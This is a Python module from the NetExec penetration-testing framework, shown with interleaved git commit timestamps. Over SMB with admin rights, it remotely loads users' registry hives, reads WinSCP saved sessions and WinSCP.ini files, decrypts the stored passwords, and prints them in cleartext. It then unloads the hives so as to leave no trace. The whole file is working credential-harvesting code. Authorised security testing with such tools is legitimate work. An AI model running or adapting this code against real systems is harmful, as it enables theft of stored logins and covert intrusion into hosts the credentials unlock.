NetExec/nxc/modules/winscp_dump.py

434 lines
19 KiB
Python
Raw Normal View History

2022-12-26 18:15:29 +00:00
# If you are looking for a local Version, the baseline code is from https://github.com/NeffIsBack/WinSCPPasswdExtractor
# References and inspiration:
# - https://github.com/anoopengineer/winscppasswd
# - https://github.com/dzxs/winscppassword
# - https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/parser/winscp.rb
2022-12-26 18:15:29 +00:00
2022-12-30 14:17:21 +00:00
import traceback
2023-03-30 09:02:54 +00:00
from typing import Tuple
2022-12-28 18:56:00 +00:00
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from urllib.parse import unquote
from io import BytesIO
import re
import configparser
2022-12-28 18:56:00 +00:00
2022-12-30 14:17:21 +00:00
class NXCModule:
2023-10-12 19:13:16 +00:00
"""Module by @NeffIsBack"""
2023-05-02 15:17:59 +00:00
name = "winscp"
description = "Looks for WinSCP.ini files in the registry and default locations and tries to extract credentials."
supported_protocols = ["smb"]
2022-12-30 14:17:21 +00:00
opsec_safe = True
2022-12-26 18:15:29 +00:00
multiple_hosts = True
def options(self, context, module_options):
r"""
2022-12-30 14:17:21 +00:00
PATH Specify the Path if you already found a WinSCP.ini file. (Example: PATH="C:\\Users\\USERNAME\\Documents\\WinSCP_Passwords\\WinSCP.ini")
2022-12-29 19:26:26 +00:00
2022-12-30 14:17:21 +00:00
REQUIRES ADMIN PRIVILEGES:
2022-12-29 19:26:26 +00:00
As Default the script looks into the registry and searches for WinSCP.ini files in
\"C:\\Users\\{USERNAME}\\Documents\\WinSCP.ini\" and in
\"C:\\Users\\{USERNAME}\\AppData\\Roaming\\WinSCP.ini\",
for every user found on the System.
2022-12-26 18:15:29 +00:00
"""
self.filepath = module_options.get("PATH", "")
2022-12-26 18:15:29 +00:00
2022-12-28 18:56:00 +00:00
self.PW_MAGIC = 0xA3
2022-12-30 14:17:21 +00:00
self.PW_FLAG = 0xFF
2023-05-02 15:17:59 +00:00
self.share = "C$"
2022-12-29 19:26:26 +00:00
self.userDict = {}
2022-12-28 18:56:00 +00:00
# ==================== Helper ====================
2023-09-22 19:33:41 +00:00
def print_creds(self, context, session):
if isinstance(session, str):
context.log.fail(session)
2022-12-28 18:56:00 +00:00
else:
2023-09-22 19:33:41 +00:00
context.log.highlight(f"======={session[0]}=======")
context.log.highlight(f"HostName: {session[1]}")
context.log.highlight(f"UserName: {session[2]}")
context.log.highlight(f"Password: {session[3]}")
2022-12-28 18:56:00 +00:00
2023-09-22 19:33:41 +00:00
def user_object_to_name_mapper(self, context, connection, allUserObjects):
2022-12-29 19:26:26 +00:00
try:
2023-09-22 19:33:41 +00:00
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
2022-12-29 19:26:26 +00:00
2023-09-22 19:33:41 +00:00
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
2022-12-29 19:26:26 +00:00
for userObject in allUserObjects:
2023-05-02 15:17:59 +00:00
ans = rrp.hBaseRegOpenKey(
2023-09-22 19:33:41 +00:00
remote_ops._RemoteOperations__rrp,
reg_handle,
2023-05-08 18:39:36 +00:00
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
2023-05-02 15:17:59 +00:00
)
2023-09-22 19:33:41 +00:00
key_handle = ans["phkResult"]
2023-05-02 15:17:59 +00:00
2023-09-22 19:33:41 +00:00
user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
self.userDict[userObject] = user_profile_path.split("\\")[-1]
2022-12-29 19:26:26 +00:00
finally:
2023-09-22 19:33:41 +00:00
remote_ops.finish()
2022-12-29 19:26:26 +00:00
2022-12-28 18:56:00 +00:00
# ==================== Decrypt Password ====================
2023-09-22 19:33:41 +00:00
def decrypt_passwd(self, host: str, username: str, password: str) -> str:
2022-12-28 18:56:00 +00:00
key = username + host
# transform password to bytes
2023-09-22 19:33:41 +00:00
pass_bytes = []
2022-12-28 18:56:00 +00:00
for i in range(len(password)):
val = int(password[i], 16)
2023-09-22 19:33:41 +00:00
pass_bytes.append(val)
2022-12-28 18:56:00 +00:00
2023-09-22 19:33:41 +00:00
pw_flag, pass_bytes = self.dec_next_char(pass_bytes)
pw_length = 0
2022-12-28 18:56:00 +00:00
# extract password length and trim the passbytes
2023-09-22 19:33:41 +00:00
if pw_flag == self.PW_FLAG:
_, pass_bytes = self.dec_next_char(pass_bytes)
pw_length, pass_bytes = self.dec_next_char(pass_bytes)
2022-12-28 18:56:00 +00:00
else:
2023-09-22 19:33:41 +00:00
pw_length = pw_flag
to_be_deleted, pass_bytes = self.dec_next_char(pass_bytes)
2023-10-16 16:48:15 +00:00
pass_bytes = pass_bytes[to_be_deleted * 2:]
2022-12-28 18:56:00 +00:00
# decrypt the password
clearpass = ""
for _i in range(pw_length):
2023-09-22 19:33:41 +00:00
val, pass_bytes = self.dec_next_char(pass_bytes)
2022-12-28 18:56:00 +00:00
clearpass += chr(val)
2023-09-22 19:33:41 +00:00
if pw_flag == self.PW_FLAG:
2023-10-16 16:48:15 +00:00
clearpass = clearpass[len(key):]
2022-12-28 18:56:00 +00:00
return clearpass
2023-09-22 19:33:41 +00:00
def dec_next_char(self, pass_bytes) -> "Tuple[int, bytes]":
2022-12-28 18:56:00 +00:00
"""
Decrypts the first byte of the password and returns the decrypted byte and the remaining bytes.
2023-10-12 19:13:16 +00:00
2022-12-28 18:56:00 +00:00
Parameters
----------
2023-09-22 19:33:41 +00:00
pass_bytes : bytes
2022-12-28 18:56:00 +00:00
The password bytes
"""
2023-09-22 19:33:41 +00:00
if not pass_bytes:
return 0, pass_bytes
a = pass_bytes[0]
b = pass_bytes[1]
pass_bytes = pass_bytes[2:]
return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xFF, pass_bytes
2022-12-28 18:56:00 +00:00
# ==================== Handle Registry ====================
2023-09-22 19:33:41 +00:00
def registry_session_extractor(self, context, connection, userObject, sessionName):
2023-10-12 19:13:16 +00:00
"""Extract Session information from registry"""
2022-12-28 18:56:00 +00:00
try:
2023-09-22 19:33:41 +00:00
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
2022-12-28 18:56:00 +00:00
2023-09-22 19:33:41 +00:00
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
2023-05-02 15:17:59 +00:00
ans = rrp.hBaseRegOpenKey(
2023-09-22 19:33:41 +00:00
remote_ops._RemoteOperations__rrp,
reg_handle,
2023-05-08 18:39:36 +00:00
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + sessionName,
2023-05-02 15:17:59 +00:00
)
2023-09-22 19:33:41 +00:00
key_handle = ans["phkResult"]
2023-05-02 15:17:59 +00:00
2023-09-22 19:33:41 +00:00
host_name = unquote(rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0])
user_name = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UserName")[1].split("\x00")[:-1][0]
2022-12-30 14:17:21 +00:00
try:
2023-09-22 19:33:41 +00:00
password = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "Password")[1].split("\x00")[:-1][0]
except Exception:
2022-12-28 18:56:00 +00:00
context.log.debug("Session found but no Password is stored!")
password = ""
2023-09-22 19:33:41 +00:00
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
dec_password = self.decrypt_passwd(host_name, user_name, password) if password else "NO_PASSWORD_FOUND"
2023-09-22 19:33:41 +00:00
section_name = unquote(sessionName)
return [section_name, host_name, user_name, dec_password]
except Exception as e:
context.log.fail(f"Error in Session Extraction: {e}")
context.log.debug(traceback.format_exc())
2022-12-28 18:56:00 +00:00
finally:
2023-09-22 19:33:41 +00:00
remote_ops.finish()
2022-12-28 18:56:00 +00:00
return "ERROR IN SESSION EXTRACTION"
2023-09-22 19:33:41 +00:00
def find_all_logged_in_users_in_registry(self, context, connection):
2023-10-12 19:13:16 +00:00
"""Checks whether User already exist in registry and therefore are logged in"""
2023-09-22 19:33:41 +00:00
user_objects = []
try:
2023-09-22 19:33:41 +00:00
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
# Enumerate all logged in and loaded Users on System
2023-09-22 19:33:41 +00:00
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
2023-09-22 19:33:41 +00:00
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
key_handle = ans["phkResult"]
2023-09-22 19:33:41 +00:00
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
2023-05-02 15:17:59 +00:00
users = data["lpcSubKeys"]
# Get User Names
user_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
2023-09-22 19:33:41 +00:00
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
# Filter legit users in regex
2023-09-22 19:33:41 +00:00
user_names.remove(".DEFAULT")
2023-05-02 15:17:59 +00:00
regex = re.compile(r"^.*_Classes$")
2023-09-22 19:33:41 +00:00
user_objects = [i for i in user_names if not regex.match(i)]
except Exception as e:
context.log.fail(f"Error handling Users in registry: {e}")
context.log.debug(traceback.format_exc())
finally:
2023-09-22 19:33:41 +00:00
remote_ops.finish()
return user_objects
2022-12-26 18:15:29 +00:00
2023-09-22 19:33:41 +00:00
def find_all_users(self, context, connection):
2023-10-12 19:13:16 +00:00
"""Find all User on the System in HKEY_LOCAL_MACHINE"""
2023-09-22 19:33:41 +00:00
user_objects = []
try:
2023-09-22 19:33:41 +00:00
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
# Enumerate all Users on System
2023-09-22 19:33:41 +00:00
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
2023-05-02 15:17:59 +00:00
ans = rrp.hBaseRegOpenKey(
2023-09-22 19:33:41 +00:00
remote_ops._RemoteOperations__rrp,
reg_handle,
2023-05-02 15:17:59 +00:00
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList",
)
2023-09-22 19:33:41 +00:00
key_handle = ans["phkResult"]
2023-09-22 19:33:41 +00:00
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
2023-05-02 15:17:59 +00:00
users = data["lpcSubKeys"]
# Get User Names
user_objects = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
2023-09-22 19:33:41 +00:00
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
except Exception as e:
context.log.fail(f"Error handling Users in registry: {e}")
context.log.debug(traceback.format_exc())
finally:
2023-09-22 19:33:41 +00:00
remote_ops.finish()
return user_objects
2023-09-22 19:33:41 +00:00
def load_missing_users(self, context, connection, unloadedUserObjects):
2023-10-12 19:13:16 +00:00
"""Extract Information for not logged in Users and then loads them into registry."""
try:
2023-09-22 19:33:41 +00:00
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
for userObject in unloadedUserObjects:
# Extract profile Path of NTUSER.DAT
2023-09-22 19:33:41 +00:00
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
2023-05-02 15:17:59 +00:00
ans = rrp.hBaseRegOpenKey(
2023-09-22 19:33:41 +00:00
remote_ops._RemoteOperations__rrp,
reg_handle,
2023-05-08 18:39:36 +00:00
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
2023-05-02 15:17:59 +00:00
)
2023-09-22 19:33:41 +00:00
key_handle = ans["phkResult"]
2023-05-02 15:17:59 +00:00
2023-09-22 19:33:41 +00:00
user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
# Load Profile
2023-09-22 19:33:41 +00:00
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
2023-09-22 19:33:41 +00:00
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
key_handle = ans["phkResult"]
context.log.debug("LOAD USER INTO REGISTRY: " + userObject)
2023-05-02 15:17:59 +00:00
rrp.hBaseRegLoadKey(
2023-09-22 19:33:41 +00:00
remote_ops._RemoteOperations__rrp,
key_handle,
2023-05-02 15:17:59 +00:00
userObject,
2023-09-22 19:33:41 +00:00
user_profile_path + "\\" + "NTUSER.DAT",
2023-05-02 15:17:59 +00:00
)
2023-09-22 19:33:41 +00:00
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
finally:
2023-09-22 19:33:41 +00:00
remote_ops.finish()
2023-09-22 19:33:41 +00:00
def unload_missing_users(self, context, connection, unloadedUserObjects):
2023-10-12 19:13:16 +00:00
"""If some User were not logged in at the beginning we unload them from registry. Don't leave clues behind..."""
try:
2023-09-22 19:33:41 +00:00
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
# Unload Profile
2023-09-22 19:33:41 +00:00
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
2023-09-22 19:33:41 +00:00
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
key_handle = ans["phkResult"]
for userObject in unloadedUserObjects:
context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject)
try:
2023-09-22 19:33:41 +00:00
rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, userObject)
except Exception as e:
context.log.fail(f"Error unloading user {userObject} in registry: {e}")
context.log.debug(traceback.format_exc())
2023-09-22 19:33:41 +00:00
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
finally:
2023-09-22 19:33:41 +00:00
remote_ops.finish()
2023-09-22 19:33:41 +00:00
def check_masterpassword_set(self, connection, userObject):
try:
2023-09-22 19:33:41 +00:00
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
2023-09-22 19:33:41 +00:00
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
2023-05-02 15:17:59 +00:00
ans = rrp.hBaseRegOpenKey(
2023-09-22 19:33:41 +00:00
remote_ops._RemoteOperations__rrp,
reg_handle,
2023-05-08 18:39:36 +00:00
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security",
2023-05-02 15:17:59 +00:00
)
2023-09-22 19:33:41 +00:00
key_handle = ans["phkResult"]
2023-05-02 15:17:59 +00:00
2023-09-22 19:33:41 +00:00
use_master_password = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseMasterPassword")[1]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
finally:
2023-09-22 19:33:41 +00:00
remote_ops.finish()
return use_master_password
2023-09-22 19:33:41 +00:00
def registry_discover(self, context, connection):
context.log.display("Looking for WinSCP creds in Registry...")
2022-12-28 18:56:00 +00:00
try:
2023-09-22 19:33:41 +00:00
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
2022-12-26 18:15:29 +00:00
# Enumerate all Users on System
2023-09-22 19:33:41 +00:00
user_objects = self.find_all_logged_in_users_in_registry(context, connection)
all_user_objects = self.find_all_users(context, connection)
self.user_object_to_name_mapper(context, connection, all_user_objects)
# Users which must be loaded into registry:
2023-09-22 19:33:41 +00:00
unloaded_user_objects = list(set(user_objects).symmetric_difference(set(all_user_objects)))
self.load_missing_users(context, connection, unloaded_user_objects)
# Retrieve how many sessions are stored in registry from each UserObject
2023-09-22 19:33:41 +00:00
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
for userObject in all_user_objects:
try:
2023-05-02 15:17:59 +00:00
ans = rrp.hBaseRegOpenKey(
2023-09-22 19:33:41 +00:00
remote_ops._RemoteOperations__rrp,
reg_handle,
2023-05-02 15:17:59 +00:00
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions",
)
2023-09-22 19:33:41 +00:00
key_handle = ans["phkResult"]
2023-05-02 15:17:59 +00:00
2023-09-22 19:33:41 +00:00
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
2023-05-02 15:17:59 +00:00
sessions = data["lpcSubKeys"]
2023-09-24 04:06:51 +00:00
context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[userObject]}" in registry!')
2022-12-30 14:17:21 +00:00
# Get Session Names
session_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(sessions)]
2023-09-22 19:33:41 +00:00
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
session_names.remove("Default%20Settings")
2023-09-22 19:33:41 +00:00
if self.check_masterpassword_set(connection, userObject):
context.log.fail("MasterPassword set! Aborting extraction...")
continue
# Extract stored Session infos
2023-09-22 19:33:41 +00:00
for sessionName in session_names:
self.print_creds(
2023-05-02 15:17:59 +00:00
context,
2023-09-22 19:33:41 +00:00
self.registry_session_extractor(context, connection, userObject, sessionName),
2023-05-02 15:17:59 +00:00
)
2022-12-30 14:17:21 +00:00
except DCERPCException as e:
2023-05-02 15:17:59 +00:00
if str(e).find("ERROR_FILE_NOT_FOUND"):
2023-09-24 04:06:51 +00:00
context.log.debug(f"No WinSCP config found in registry for user {userObject}")
except Exception as e:
context.log.fail(f"Unexpected error: {e}")
context.log.debug(traceback.format_exc())
2023-09-22 19:33:41 +00:00
self.unload_missing_users(context, connection, unloaded_user_objects)
2022-12-30 14:17:21 +00:00
except DCERPCException as e:
# Error during registry query
2023-05-02 15:17:59 +00:00
if str(e).find("rpc_s_access_denied"):
2023-05-08 18:39:36 +00:00
context.log.fail("Error: rpc_s_access_denied. Seems like you don't have enough privileges to read the registry.")
except Exception as e:
context.log.fail(f"UNEXPECTED ERROR: {e}")
context.log.debug(traceback.format_exc())
2022-12-28 18:56:00 +00:00
finally:
2023-09-22 19:33:41 +00:00
remote_ops.finish()
2022-12-28 18:56:00 +00:00
# ==================== Handle Configs ====================
2023-09-22 19:33:41 +00:00
def decode_config_file(self, context, confFile):
2022-12-30 14:17:21 +00:00
config = configparser.RawConfigParser(strict=False)
config.read_string(confFile)
# Stop extracting creds if Master Password is set
2023-05-02 15:17:59 +00:00
if int(config.get("Configuration\\Security", "UseMasterPassword")) == 1:
context.log.fail("Master Password Set, unable to recover saved passwords!")
return
for section in config.sections():
2023-05-02 15:17:59 +00:00
if config.has_option(section, "HostName"):
2023-09-22 19:33:41 +00:00
host_name = unquote(config.get(section, "HostName"))
user_name = config.get(section, "UserName")
2023-05-02 15:17:59 +00:00
if config.has_option(section, "Password"):
2023-09-22 19:33:41 +00:00
enc_password = config.get(section, "Password")
dec_password = self.decrypt_passwd(host_name, user_name, enc_password)
else:
2023-09-22 19:33:41 +00:00
dec_password = "NO_PASSWORD_FOUND"
section_name = unquote(section)
self.print_creds(context, [section_name, host_name, user_name, dec_password])
2023-09-22 19:33:41 +00:00
def get_config_file(self, context, connection):
if self.filepath:
2023-05-02 15:17:59 +00:00
self.share = self.filepath.split(":")[0] + "$"
path = self.filepath.split(":")[1]
try:
buf = BytesIO()
connection.conn.getFile(self.share, path, buf.write)
2023-09-22 19:33:41 +00:00
conf_file = buf.getvalue().decode()
context.log.success("Found config file! Extracting credentials...")
2023-09-22 19:33:41 +00:00
self.decode_config_file(context, conf_file)
except Exception as e:
context.log.fail(f"Error! No config file found at {self.filepath}: {e}")
context.log.debug(traceback.format_exc())
else:
2023-05-08 18:39:36 +00:00
context.log.display("Looking for WinSCP creds in User documents and AppData...")
output = connection.execute('powershell.exe "Get-LocalUser | Select name"', True)
users = [row.strip() for row in output.split("\r\n")[2:]]
2022-12-30 14:17:21 +00:00
# Iterate over found users and default paths to look for WinSCP.ini files
for user in users:
2023-05-02 15:17:59 +00:00
paths = [
("\\Users\\" + user + "\\Documents\\WinSCP.ini"),
("\\Users\\" + user + "\\AppData\\Roaming\\WinSCP.ini"),
]
for path in paths:
2023-09-22 19:33:41 +00:00
conf_file = ""
try:
buf = BytesIO()
connection.conn.getFile(self.share, path, buf.write)
2023-09-22 19:33:41 +00:00
conf_file = buf.getvalue().decode()
context.log.success(f"Found config file at '{self.share + path}'! Extracting credentials...")
except Exception as e:
context.log.debug(f"No config file found at '{self.share + path}': {e}")
if conf_file:
self.decode_config_file(context, conf_file)
2022-12-30 14:17:21 +00:00
def on_admin_login(self, context, connection):
if not self.filepath:
2023-09-22 19:33:41 +00:00
self.registry_discover(context, connection)
self.get_config_file(context, connection)